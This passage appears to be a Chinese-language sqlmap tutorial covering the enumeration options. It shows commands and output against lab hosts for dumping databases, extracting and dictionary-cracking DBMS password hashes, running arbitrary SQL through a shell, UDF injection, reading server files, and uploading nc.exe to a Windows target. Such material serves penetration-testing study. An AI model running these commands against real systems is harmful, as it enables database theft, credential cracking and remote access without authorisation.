十二、列举数据
这些参数用于列举出数据库管理系统信息、数据结构和数据内容。
1.一键列举全部数据
参数:--all
使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。
2.列举数据库管理系统信息
参数:-b或--banner
大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。 通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“--banner”来列举数据库管理系统的这一信息。
下例中的数据库是Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
部分输出为:
[09:54:30] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
下例中的数据库是Mysql:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner
部分输出为:
[09:56:32] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.5.50-0ubuntu0.14.04.1'
3.列举当前用户
参数:--current-user
使用这一参数有可能将执行SQL语句的用户列举出来。
4.列举当前数据库
参数:--current-db
使用这一参数有可能将WEB应用连接的数据库名列举出来。
5.列举服务器主机名
参数:--hostname
使用这一参数有可能将数据库管理系统所在计算机的主机名列举出来,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --
hostname
部分输出如下:
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
6.检测当前用户是否是管理员
参数:--is-dba
使用这一参数有可能能够检测当前用户是否是管理员,若是管理员则返回True,否则返回False。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba
部分输出为:
[10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA: True
7.列举数据库管理系统中的用户
参数:--users
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中的用户。
8.列举并破解数据库管理系统用户密码Hash值
参数:--passwords
当前用户有读取包含了数据库管理系统中用户密码Hash值的系统表的权限时使用这一参数可以列举数据库管理系统中用户密码Hash值。 Sqlmap会先列举用户,再列举用户密码Hash值。
下面是一个以PostgreSQL为目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
部分输出如下所示:
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Sqlmap不仅会列举出密码Hash,还会解析密码Hash格式,并询问用户是否要通过密码字典的方式破解Hash值寻找出明文密码。
若想只枚举特定用户的密码使用参数“-U”指定用户,可用“CU”来代表当前用户,如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU
部分输出如下:
database management system users password hashes:
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root
9.列举数据库管理系统的用户权限
参数:--privileges
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。通过用户权限可以判断哪些用户是管理员。
若想只枚举特定用户的权限使用参数“-U”指定用户,可用“CU”来代表当前用户。
若目标是微软的SQL Server,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。
10.列举数据库管理系统的用户角色
参数:--roles
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的角色。
若想只枚举特定用户的角色使用参数“-U”指定用户,可用“CU”来代表当前用户。
官方手册上说只有目标数据库管理系统是Oracle时这一功能才可用,但我在Mysql中测试也是可用的。
11.列举数据库管理系统中的所有数据库
参数:--dbs
当前用户有读取包含了数据库管理系统中可用数据库信息的系统表的权限时使用这一参数可以列举数据库管理系统中所有数据库。
12.列举数据库数据库的所有表
参数:--tables、--exclude-sysdbs和-D
当前用户有读取包含了数据库管理系统中可用数据库中数据表信息的系统表的权限时使用参数“--tables”可以列举用参数“-D”指定的数据库中的所有数据表。 若没有用参数“-D”指定数据库,只使用参数“--tables”会列举所有数据库中所有表。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables
使用参数“--exclude-sysdbs”可排除系统数据库。在Oracle中要指定TABLESPACE_NAME而不是数据库名。
13.列举数据表的所有列
参数:--columns、-C、-T和-D
如权限允许,使用参数“--columns”可以列出用“-D”指定的数据库中用“-T”指定的表中的所有列的名字和数据类型。
若没有指定数据库则会默认使用当前数据库。还可以用“-C”指定感兴趣的某几列这样就不用列出所有列来。
下面是以SQLite为目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users
部分输出如下:
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
在PostgreSQL中,数据库的名字一定是“public”或者是某个系统表 。因为在PostgreSQL中只能列举当前数据库或系统数据库中数据,而WEB应用连接的数据库别名总是“public”。
十三、列举数据库管理系统的模式
参数:--schema和--exclude-sysdbs
用户可用此选项列举数据库管理系统的模式。模式列表包含所有数据库、表、列、触发器和他们各自的类型。 同样地,可使用参数“--exclude-sysdbs”排除系统数据库。
下面是的例子测试对象是Mysql:
部分输出如下:
[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column | Type |
+--------------+----------------------------------------+
| Timestamp | timestamp |
| User | char(16) |
| Db | char(64) |
| Grantor | char(77) |
| Host | char(60) |
| Proc_priv | set('Execute','Alter Routine','Grant') |
| Routine_name | char(64) |
| Routine_type | enum('FUNCTION','PROCEDURE') |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column | Type |
+-----------+---------------------+
| Position | bigint(20) unsigned |
| deletes | bigint(20) unsigned |
| epoch | bigint(20) unsigned |
| File | varchar(255) |
| inserts | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates | bigint(20) unsigned |
+-----------+---------------------+
15.列举表中数据条数
参数:--count
有时我们只想知道有多少数据而不想知道具体的数据内容,此时就可以使用该参数。如:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
部分输出如下:
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
16.列举表中数据
参数:--dump、-C、-T、-D、--start、--stop和--where
权限允许时可以列举表中数据。用参数“-D”指定数据库,用参数“-T”指定数据表,用参数“-C”指定目标列。 若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。
下例是以Firebird为目标:
python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
部分输出如下:
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+---+--------+-------------+
只使用参数“--dump”和“-D”可以一次性列举整个数据库中所有数据。
Sqlmap会自动将参数“--dump”列举的数据保存到CSV格式文件中,文件具体路径会在Sqlmap的输出中给出,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump
部分输出为:
[11:15:27] [INFO] analyzing table dump for possible password hashes
Database: DSSchool
Table: T_SCORESYSTEMTEACHERS
[2 entries]
+-----+----------+-------+---------+----------+
| AGE | NAME | TITLE | ACCOUNT | PASSWORD |
+-----+----------+-------+---------+----------+
| 21 | neo | ?? | 001 | 001 |
| 31 | morphine | ?? | 002 | 002 |
+-----+----------+-------+---------+----------+
[11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'
截取的输出中最后一行便是CSV文件保存的路径。
若只想列举部分数据可以使用参数“--start”和“--stop”。如只想列举第一条数据可以添加“--stop 1”, 只想列举第二和第三条数据可以添加“--start 1 --stop 3”,可见这是一个左开右闭区间。 区间范围仅在盲注中有效,因为在基于错误信息的注入和联合查询注入中区间范围会被忽略。
除了用区间范围限制列举的数据外,还可以用“--where”参数来限制列举的数据。 “--where”参数会被Sqlmap转换成WHERE子句,如“--where id>3”会只列举列id的值大于3的数据。
如你所见,Sqlmap十分灵活。可以囫囵地列举整个数据库,也可以细致地在表中选择列,在列中又选择特定数据。
17.列举所有数据库所有表中所有数据
参数:--dump-all和--exclude-sysdbs
使用参数“--dump-all”可列举所有数据库所有表中所有数据。同样地,可使用参数“--exclude-sysdbs”排除系统数据库。
注意微软SQL Server的master数据库不属于系统数据库,因为有些管理员会在这个数据库中存储用户数据。
18.在数据库、表、列中搜索
参数:--search、-C、-T和-D
可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。
参数“--search”要和下列参数之一配合使用:
- -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索
- -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索
- -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索
在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。 默认为包含搜索,即搜索的字符串包含于结果中就认为命中。 精确搜索要求搜索的字符串与结果完全相等。
19.运行自定义的SQL语句
参数:--sql-query和--sql-shell
这一功能允许执行任意的SQL语句,Sqlmap会自动解析给出的SQL语句,选择恰当的注入技术并将给出的SQL语句打包到payload中。
如果查询是个SELECT语句,Sqlmap会返回查询结果。如果Web应用使用的数据库管理系统支持多语句查询,Sqlmap会使用堆注入技术。 但要注意Web应用可能不支持堆查询,例如PHP使用Mysql时不支持堆查询,但使用PostgreSQL时支持堆查询。
下例的目标是SQL Server 2000:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
部分输出如下:
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':
'foo'
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
部分输出如下:
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 quer
如你所见,Sqlmap将提供的SQL语句分成了两个不同的SELECT语句,并分别返回结果。
参数“--sql-shell”提供一个交互式的SQL语句执行环境,支持Tab键补全和命令历史记录。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell
部分输出如下:
[15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select 'foo';
[15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
select 'foo';: 'foo'
sql-shell> select password from mysql.user where user='root';
[15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
select password from mysql.user where user='root'; [1]:
[*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sql-shell> show tables;
[15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
[15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
show tables; [1]:
十三、UDF注入
参数:--udf-inject
UDF是“user-defined function”的缩写,UDF是一种针对MySQL和PostgreSQL的高级注入技术,详情见《Advanced SQL injection to operating system full control》。
可以编译MySQL或PostgreSQL的共享库、DLL(Windows)和共享对象(Linux/Unix)并将这些文件在本机上的路径提供给Sqlmap来进行UDF注入。 Sqlmap会先问一些问题然后上传UDF文件并创建UDF最后根据问题答案执行UDF。完成UDF注入后,Sqlmap会删除上传的UDF文件。
参数:--shared-lib
添加此参数Sqlmap会在运行时询问共享库文件路径。
在Sqlmap安装目录的udf目录中有许多UDF文件,按照DMBS、操作系统、位数和版本归类,可以直接使用。
十四、访问文件系统
1.读取文件
参数:--file-read
当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有读取文件相关权限时读取文件是可行的。 读取的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是SQL Server 2005:
python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1
部分输出如下:
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'
然后查看下载的文件:
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
2.上传文件
参数:--file-write和--file-dest
当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有写文件相关权限时上传文件是可行的。 上传的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是MySQL,上传了一个二进制的UPX压缩文件:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'